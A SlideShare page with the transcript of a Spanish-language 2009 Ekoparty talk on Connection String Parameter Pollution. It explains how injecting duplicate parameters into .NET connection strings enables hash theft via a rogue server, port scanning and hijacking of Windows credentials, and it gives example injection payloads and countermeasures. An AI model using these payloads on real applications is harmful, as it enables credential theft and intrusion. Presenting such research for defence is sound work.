• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Connection String Parameter Pollution
 

Connection String Parameter Pollution

on

  • 8,668 views

Charla impartida por Chema Alonso en la Ekoparty 2009 sobre Connection String Parameter Pollution.

Charla impartida por Chema Alonso en la Ekoparty 2009 sobre Connection String Parameter Pollution.

Statistics

Views

Total Views
8,668
Views on SlideShare
6,963
Embed Views
1,705

Actions

Likes
2
Downloads
150
Comments
0

9 Embeds 1,705

http://www.elladodelmal.com 1104
http://elladodelmal.blogspot.com 565
http://www.slideshare.net 23
http://www.elladodelmal.blogspot.com 4
http://translate.googleusercontent.com 4
file:// 2
http://localhost:82 1
http://1.bp.blogspot.com 1
http://feeds.feedburner.com 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Connection String Parameter Pollution Connection String Parameter Pollution Presentation Transcript

    • Chema Alonso Informática 64 Chema Alonso Informática 64
    • Cadenas de Conexión
      • Definen la manera en que una aplicación web se conecta a un repositorio de datos
      • Hay cadenas de conexión para:
        • Bases de datos
        • Archivos en sistemas de ficheros
        • Servidores LDAP en procesos de Binding
    • Cadenas de conexión a BBDD
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
    • Se pueden encontrar en Google
    • Se pueden encontrar en Google
    • Ficheros UDL
    • Credenciales
      • Cuentas de Sistema Operativo
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
      • Integrated Security = SSPI/True/Yes;
      • Cuentas de la Base de datos
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
      • Integrated Security = No;
    • Syslogins Tabla usuarios Cadena de conexión 1.- La aplicación web se conecta con credenciales de la BD. 2.- Se piden credenciales al usuario. 3.- La aplicación web comprueba las credenciales en una tabla de usuarios. Select from tabla La aplicación Web controla la autenticación Motor de Base de datos App en Servidor Web Validación usuarios en aplicación web
    • Syslogins Cadena de conexión 1.- Se piden credenciales al usuario. 2.- La aplicación web construye la cadena de conexión con las credenciales del usuario. El motor de BBDD controla la autenticación Validación usuarios en motor de BBDD Motor de Base de datos App en Servidor Web
    • Connection String Attacks
      • Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • Integrated Security = NO;
      • User Id = myUsername ;
      • Password = myPassword; Encryption = Off ;
    • ConnectionStringBuiler
      • Incluido en el .NET Framework 2.0
      • Crea cadenas de conexión mediante parámetros
      • Impide la inyección de código
    • La realidad
    • Connection String Parameter Pollution
      • La idea es inyectar un parámetro que ya existe
      • Duplicando el valor del parámetro, el último prevalece en los entornos .NET.
      • Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.
    • CSPP Attack 1: Robo de Hash
      • 1.- Se monta un servidor controlado:
      • Rogue_Server
      • 2.- Se activa un sniffer de credenciales
      • Cain/Wireshark
      • 3.- Se hace una polución del parámetro
      • Data_Source=Rogue_Server
      • 4.- Se fuerza el uso de autenticación Windows
      • Integrated Security=true
    • CSPP Attack 1: Robo de Hash
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Rogue_Server ;
      • Password= ;Integrated Security=True ;
    • CSSP 1:ASP.NET Enterprise Manager
    • CSPP Attack 2: Port Scanning
      • 1.- Se hace una polución del parámetro con el servidor a escanear y el puerto
      • Data_Source=Target_Server,target_Port
      • 2.- Se evalúan los mensajes de error de la aplicación
    • CSPP Attack 2: Port Scanning
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Target_Server, Target_Port ;
      • Password= Void ;
    • CSPP 2: myLittleAdmin Puerto Abierto
    • CSPP 2: myLittleAdmin Puerto Cerrado
    • CSPP Attack 3: Hijacking Web Credentials
      • 1.- Se hace una polución del parámetro
      • Data_Source=Target_Server
      • 2.- Se fuerza el uso de autenticación Windows
      • Integrated Security=true
      • 3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos
    • CSPP Attack 3: Hijacking Web Credentials
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Target_Server ;
      • Password= ;Integrated Security=true ;
    • CSPP Attack 3: Web Data Administrator
    • CSPP Attack 3: myLittleAdmin/myLittleBackup
    • CSPP Attack 3: ASP.NET Enterprise Manager
    • Otras bases de datos
      • MySQL no soporta autenticación integrada
      • Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques
        • Además es posible cambiar la conexión de nivel para pasarla a conexión como sysdba
    • Demo Demo
    • myLittleAdmin/myLittleBackup myLittleTools ha sacado un advisory de seguridad y un parche
    • ASP.NET Enterprise Manager
      • ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
    • ASP.NET Enterprise Manager
      • ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
    • ASP.NET Web Data Admistrator ASP Web Data Administrator es segura en su versión liberada en CodePlex
    • Contramedidas
      • Fortificación de Firewall
      • Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.
      • Usar ConnectionStringBuilder
      • Filtrar el ; )
    • ¿Preguntas?
      • Contacto
      • Chema Alonso
      • [email_address]
      • http://www.informatica64.com
      • http://elladodelmal.blogspot.com
      • Autores
      • Chema Alonso
      • Manuel Fernández
      • Alejandro Martín Bailón
      • Antonio Guzmán